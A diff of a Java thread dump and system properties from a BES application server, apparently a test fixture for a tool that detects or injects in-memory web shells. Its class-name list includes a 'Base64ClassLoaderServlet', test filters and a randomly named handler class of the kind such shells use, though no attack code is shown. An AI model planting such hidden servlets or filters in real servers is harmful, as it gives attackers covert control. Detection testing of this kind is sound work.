at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||||
|
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"jmsra-WorkerThread-1" #63 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@18f6cc10
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||||
|
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"jmsra-WorkerThread-4" #66 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@18f6cc10
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||||
|
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"RMI RenewClean-[172.17.0.4:6600]" #98 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@1f2fd2b
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at [email protected]/java.lang.Object.wait(Native Method)
|
||||||
|
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155)
|
||||||
|
at [email protected]/sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:559)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"File-watcher-0" #62 daemon [TIMED_WAITING]
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at [email protected]/java.lang.Thread.sleep(Native Method)
|
||||||
|
at com.bes.enterprise.common.file.watcher.FileAlterationMonitor.run(FileAlterationMonitor.java:105)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"Notification Thread" #15 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
|
||||||
|
"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@2fca3749
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/java.lang.Object.wait(Native Method)
|
||||||
|
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155)
|
||||||
|
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176)
|
||||||
|
at [email protected]/java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:172)
|
||||||
|
|
||||||
|
"httpWorkerThread-8080-4" #76 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5fe3e3a
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||||
|
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"SelectorReaderThread-1900-1" #81 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at [email protected]/sun.nio.ch.EPoll.wait(Native Method)
|
||||||
|
at [email protected]/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118)
|
||||||
|
at [email protected]/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129)
|
||||||
|
at [email protected]/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141)
|
||||||
|
at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:877)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"HSQLDB Timer @560df6c4" #90 daemon [TIMED_WAITING] on org.hsqldb.lib.HsqlTimer$TaskQueue@474b65e0
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at [email protected]/java.lang.Object.wait(Native Method)
|
||||||
|
at org.hsqldb.lib.HsqlTimer$TaskQueue.park(Unknown Source)
|
||||||
|
at org.hsqldb.lib.HsqlTimer.nextTask(Unknown Source)
|
||||||
|
at org.hsqldb.lib.HsqlTimer$TaskRunner.run(Unknown Source)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"httpWorkerThread-8080-5" #77 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5fe3e3a
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||||
|
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"RMI TCP Connection(2)-172.17.0.4" #99 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at [email protected]/sun.nio.ch.Net.poll(Native Method)
|
||||||
|
at [email protected]/sun.nio.ch.NioSocketImpl.park(NioSocketImpl.java:186)
|
||||||
|
at [email protected]/sun.nio.ch.NioSocketImpl.timedRead(NioSocketImpl.java:290)
|
||||||
|
at [email protected]/sun.nio.ch.NioSocketImpl.implRead(NioSocketImpl.java:314)
|
||||||
|
at [email protected]/sun.nio.ch.NioSocketImpl.read(NioSocketImpl.java:355)
|
||||||
|
at [email protected]/sun.nio.ch.NioSocketImpl$1.read(NioSocketImpl.java:808)
|
||||||
|
at [email protected]/java.net.Socket$SocketInputStream.read(Socket.java:966)
|
||||||
|
at [email protected]/java.io.BufferedInputStream.fill(BufferedInputStream.java:244)
|
||||||
|
at [email protected]/java.io.BufferedInputStream.read(BufferedInputStream.java:263)
|
||||||
|
at [email protected]/java.io.FilterInputStream.read(FilterInputStream.java:82)
|
||||||
|
at [email protected]/sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:569)
|
||||||
|
at [email protected]/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:828)
|
||||||
|
at [email protected]/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:705)
|
||||||
|
at [email protected]/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$585/0x00007405f05ff4b0.run(Unknown Source)
|
||||||
|
at [email protected]/java.security.AccessController.executePrivileged(AccessController.java:776)
|
||||||
|
at [email protected]/java.security.AccessController.doPrivileged(AccessController.java:399)
|
||||||
|
at [email protected]/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:704)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"http-nio-0.0.0.0-1900-Acceptor" #82 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at [email protected]/sun.nio.ch.Net.accept(Native Method)
|
||||||
|
at [email protected]/sun.nio.ch.ServerSocketChannelImpl.implAccept(ServerSocketChannelImpl.java:425)
|
||||||
|
at [email protected]/sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:391)
|
||||||
|
at com.bes.enterprise.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:608)
|
||||||
|
at com.bes.enterprise.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:88)
|
||||||
|
at com.bes.enterprise.web.util.net.Acceptor.run(Acceptor.java:125)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"RetryTimer" #61 daemon [WAITING] on java.util.TaskQueue@20543971
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/java.lang.Object.wait(Native Method)
|
||||||
|
at [email protected]/java.lang.Object.wait(Object.java:338)
|
||||||
|
at [email protected]/java.util.TimerThread.mainLoop(Timer.java:537)
|
||||||
|
at [email protected]/java.util.TimerThread.run(Timer.java:516)
|
||||||
|
|
||||||
|
"SelectorReaderThread-8080-1" #83 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at [email protected]/sun.nio.ch.EPoll.wait(Native Method)
|
||||||
|
at [email protected]/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118)
|
||||||
|
at [email protected]/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129)
|
||||||
|
at [email protected]/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141)
|
||||||
|
at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:877)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"http-nio-0.0.0.0-8080-Acceptor" #84 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at [email protected]/sun.nio.ch.Net.accept(Native Method)
|
||||||
|
at [email protected]/sun.nio.ch.ServerSocketChannelImpl.implAccept(ServerSocketChannelImpl.java:425)
|
||||||
|
at [email protected]/sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:391)
|
||||||
|
at com.bes.enterprise.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:608)
|
||||||
|
at com.bes.enterprise.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:88)
|
||||||
|
at com.bes.enterprise.web.util.net.Acceptor.run(Acceptor.java:125)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"jmsra-WorkerThread-3" #65 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@18f6cc10
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||||
|
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"RMI GC Daemon" #95 daemon [TIMED_WAITING] on sun.rmi.transport.GC$LatencyLock@365983f5
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at [email protected]/java.lang.Object.wait(Native Method)
|
||||||
|
at [email protected]/sun.rmi.transport.GC$Daemon.run(GC.java:127)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
at [email protected]/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162)
|
||||||
|
|
||||||
|
"httpWorkerThread-8080-7" #79 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5fe3e3a
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||||
|
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"Signal Dispatcher" #4 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
|
||||||
|
"AsyncLoggerDisruptor-1" #18 daemon [TIMED_WAITING] on java.lang.Object@48578a08
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at [email protected]/java.lang.Object.wait(Native Method)
|
||||||
|
at [email protected]/java.lang.Object.wait(Object.java:472)
|
||||||
|
at app//com.bes.enterprise.base.disruptor.util.Util.awaitNanos(Util.java:150)
|
||||||
|
at app//com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy.waitFor(TimeoutBlockingWaitStrategy.java:43)
|
||||||
|
at app//com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier.waitFor(ProcessingSequenceBarrier.java:56)
|
||||||
|
at app//com.bes.enterprise.base.disruptor.BatchEventProcessor.processEvents(BatchEventProcessor.java:159)
|
||||||
|
at app//com.bes.enterprise.base.disruptor.BatchEventProcessor.run(BatchEventProcessor.java:125)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
|
||||||
|
===========================================
|
||||||
|
|
||||||
|
StackClassNames:
|
||||||
|
Base64ClassLoaderServlet
|
||||||
|
ServletNameTestFilter
|
||||||
|
UrlMappingTestFilter
|
||||||
|
com.bes.enterprise.appserver.startup.Bootstrap
|
||||||
|
com.bes.enterprise.appserver.startup.CommonClassLoader$1
|
||||||
|
com.bes.enterprise.base.disruptor.BatchEventProcessor
|
||||||
|
com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier
|
||||||
|
com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy
|
||||||
|
com.bes.enterprise.base.disruptor.util.Util
|
||||||
|
com.bes.enterprise.common.file.watcher.FileAlterationMonitor
|
||||||
|
com.bes.enterprise.gjc.pool.impl.GenericObjectPool$ObjectCreator
|
||||||
|
com.bes.enterprise.gjc.pool.impl.NoticableLinkedBlockingDeque
|
||||||
|
com.bes.enterprise.serializer.defence.common.file.watcher.FileAlterationMonitor
|
||||||
|
com.bes.enterprise.server.builder.BesWebModule
|
||||||
|
com.bes.enterprise.startup.ASMain
|
||||||
|
com.bes.enterprise.web.crane.AbstractProcessorLight
|
||||||
|
com.bes.enterprise.web.crane.AbstractProtocol$ConnectionHandler
|
||||||
|
com.bes.enterprise.web.crane.http11.Http11Processor
|
||||||
|
com.bes.enterprise.web.util.net.Acceptor
|
||||||
|
com.bes.enterprise.web.util.net.NioEndpoint
|
||||||
|
com.bes.enterprise.web.util.net.NioEndpoint$Poller
|
||||||
|
com.bes.enterprise.web.util.net.NioEndpoint$SocketProcessor
|
||||||
|
com.bes.enterprise.web.util.net.SocketProcessorBase
|
||||||
|
com.bes.enterprise.web.util.threads.ThreadPoolExecutor
|
||||||
|
com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker
|
||||||
|
com.bes.enterprise.web.util.threads.WorkQueue
|
||||||
|
com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable
|
||||||
|
com.bes.enterprise.web.websocket.server.WsFilter
|
||||||
|
com.bes.enterprise.webext.BESAppservValve
|
||||||
|
com.bes.enterprise.webext.BESSecurityListener$BESSecurityRequestValve
|
||||||
|
com.bes.enterprise.webext.BesContextCleanupValve
|
||||||
|
com.bes.enterprise.webtier.authenticator.AuthenticatorBase
|
||||||
|
com.bes.enterprise.webtier.connector.CoyoteAdapter
|
||||||
|
com.bes.enterprise.webtier.connector.CoyoteWriter
|
||||||
|
com.bes.enterprise.webtier.core.ApplicationFilterChain
|
||||||
|
com.bes.enterprise.webtier.core.DefaultContextValve
|
||||||
|
com.bes.enterprise.webtier.core.DefaultEngineValve
|
||||||
|
com.bes.enterprise.webtier.core.DefaultHostValve
|
||||||
|
com.bes.enterprise.webtier.core.DefaultWrapperValve
|
||||||
|
com.bes.enterprise.webtier.valves.ErrorReportValve
|
||||||
|
org.apache.logging.UKnKC.ErrorQvlgaHandler
|
||||||
|
org.hsqldb.lib.HsqlTimer
|
||||||
|
org.hsqldb.lib.HsqlTimer$TaskQueue
|
||||||
|
org.hsqldb.lib.HsqlTimer$TaskRunner
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
# Generated At 2025-08-10 14:56:17
|
# Generated At 2026-05-24 05:04:29
|
||||||
SystemProps:
|
SystemProps:
|
||||||
bes.loader: bes-system
|
bes.loader: bes-system
|
||||||
java.vendor: Oracle Corporation
|
java.vendor: Oracle Corporation
|
||||||
@@ -20,11 +20,11 @@ user.name: root
|
|||||||
tomcat.util.scan.StandardJarScanFilter.jarsToScan: log4j-web*.jar,log4j-taglib*.jar,log4javascript*.jar,slf4j-taglib*.jar
|
tomcat.util.scan.StandardJarScanFilter.jarsToScan: log4j-web*.jar,log4j-taglib*.jar,log4javascript*.jar,slf4j-taglib*.jar
|
||||||
shared.loader: "${catalina.base}/lib/shared/classes","${catalina.base}/lib/shared/*.jar"
|
shared.loader: "${catalina.base}/lib/shared/classes","${catalina.base}/lib/shared/*.jar"
|
||||||
tomcat.util.buf.StringCache.byte.enabled: true
|
tomcat.util.buf.StringCache.byte.enabled: true
|
||||||
com.bes.hostName: 21437a35c6d3
|
com.bes.hostName: b6fa2ed19f7c
|
||||||
java.naming.factory.initial: org.apache.naming.java.javaURLContextFactory
|
java.naming.factory.initial: org.apache.naming.java.javaURLContextFactory
|
||||||
user.language: en
|
user.language: en
|
||||||
derby.system.home: /opt/bes/conf
|
derby.system.home: /opt/bes/conf
|
||||||
sun.boot.library.path: /usr/local/openjdk-8/jre/lib/aarch64
|
sun.boot.library.path: /usr/local/openjdk-8/jre/lib/amd64
|
||||||
com.bes.enterprise.log.outAndErrNotRedirect: true
|
com.bes.enterprise.log.outAndErrNotRedirect: true
|
||||||
java.version: 1.8.0_342
|
java.version: 1.8.0_342
|
||||||
java.util.logging.manager: com.bes.enterprise.server.logging.BESClassLoaderLogManager
|
java.util.logging.manager: com.bes.enterprise.server.logging.BESClassLoaderLogManager
|
||||||
@@ -47,7 +47,7 @@ java.home: /usr/local/openjdk-8/jre
|
|||||||
java.vm.info: mixed mode
|
java.vm.info: mixed mode
|
||||||
com.bes.instanceName: server
|
com.bes.instanceName: server
|
||||||
com.bes.enterprise.ejb.core.security.JaccProvider: com.bes.enterprise.ejb.core.security.jacc.BasicJaccProvider
|
com.bes.enterprise.ejb.core.security.JaccProvider: com.bes.enterprise.ejb.core.security.jacc.BasicJaccProvider
|
||||||
os.version: 6.14.10-orbstack-00291-g1b252bd3edea
|
os.version: 6.8.0-111-generic
|
||||||
path.separator: :
|
path.separator: :
|
||||||
java.vm.version: 25.342-b07
|
java.vm.version: 25.342-b07
|
||||||
com.bes.verboseMode: true
|
com.bes.verboseMode: true
|
||||||
@@ -63,7 +63,7 @@ java.naming.factory.url.pkgs: org.apache.naming:com.bes.enterprise.ejb.core.ivm.
|
|||||||
user.home: /root
|
user.home: /root
|
||||||
java.specification.vendor: Oracle Corporation
|
java.specification.vendor: Oracle Corporation
|
||||||
tomcat.util.scan.StandardJarScanFilter.jarsToSkip: bes-server-jpa-integration,bes-jdbcra,org.codehaus.woodstox.stax2-api,bes-web-glue,org.metatype.sxc.sxc-jaxb-core,derbyclient,bes-ejb-glue,org.apache.wss4j.wss4j-bindings,bes-deployment,org.apache.xbean.xbean-reflect,bes-admin-command,bes-server-webservices,bes-ee-webapp,org.apache.johnzon.johnzon,org.apache.openwebbeans.openwebbeans-ee-common,org.apache.wss4j.wss4j-policy,org.apache.commons.commons-codec,org.apache.cxf.cxf-rt-rs-client,bes-ee-loader,bes-webtier-jdbc,org.codehaus.woodstox.woodstox-core-asl,javaee,org.apache.cxf.cxf-rt-rs-service-description,javaee-api-endorsed,bes-config-remote-adapter,bes-descriptor,org.apache.wss4j.wss4j-ws-security-dom,bes-server-internal,bes-logger,org.apache.cxf.cxf-rt-bindings-soap,org.apache.wss4j.bes-wss4j-ws-security-policy-stax,org.apache.cxf.cxf-rt-security,bes-webtier-util,org.apache.cxf.cxf-rt-databinding-jaxb,bes-webtier-coyote,javax.persistence,bes-webtier-jsp-api,bes-server-cxf-transport,bes-engine,bootstrap,org.apache.cxf.cxf-rt-transports-http,bes-patch,org.apache.cxf.cxf-rt-frontend-jaxrs,org.apache.bval-core,bes-ee-jdbc-connector,bes-distributed-session,bes-ee-webservices-connector,bes-launcher,bes-server-api,org.apache.cxf.cxf-rt-security-saml,bes-ee-jaxrs-connector,org.apache.cxf.cxf-rt-ws-policy,org.apache.bval-jsr,bes-server-jee-accessors,bes-server-hsql,org.apache.myfaces.core.myfaces-api,org.apache.openwebbeans.openwebbeans-jsf,org.apache.ws.xmlschema.xmlschema-core,org.objectweb.howl.howl,org.apache.cxf.cxf-rt-rs-extension,bes-server-cxf-rs,bes-webtier-servlet-api,org.apache.xbean.xbean-naming,bes-server-loader,org.apache.commons.commons-cli,org.apache.cxf.cxf-rt-bindings-xml,org.apache.geronimo.specs.geronimo-osgi-locator,org.apache.openwebbeans.openwebbeans-web,bes-webtier-jasper,bes-config-remote,org.apache.commons.commons-pool2,org.apache.geronimo.components.geronimo-transaction,bes-config-serverbeans,bes-server-quartz-shade,org.apache.xbean.xbean-finder-shaded,bes-ee-myfaces-connector,org.apache.cxf.cxf-rt-ws-security,bes-server-client,bes-server-http,org.apache.openwebbeans.openwebbeans-ejb,org.codehaus.swizzle.swizzle-stream,org.slf4j.slf4j-api,org.apache.santuario.xmlsec,org.apache.neethi.neethi,derby,org.apache.cxf.cxf-core,bes-ee-catalina-integration,bes-server-ejbd,bes-deployment-common,bes-config-parser,org.metatype.sxc.sxc-runtime,org.hsqldb.hsqldb,org.apache.commons.commons-lang3,bes-jmx-remote,bes-cli-command,bes-command-api,org.eclipse.jdt.ecj,bes-server-core,bes-api,activation,com.ibm.wsdl4j.wsdl4j,org.apache.openwebbeans.openwebbeans-el22,org.apache.cxf.cxf-rt-wsdl,org.apache.xml-resolver,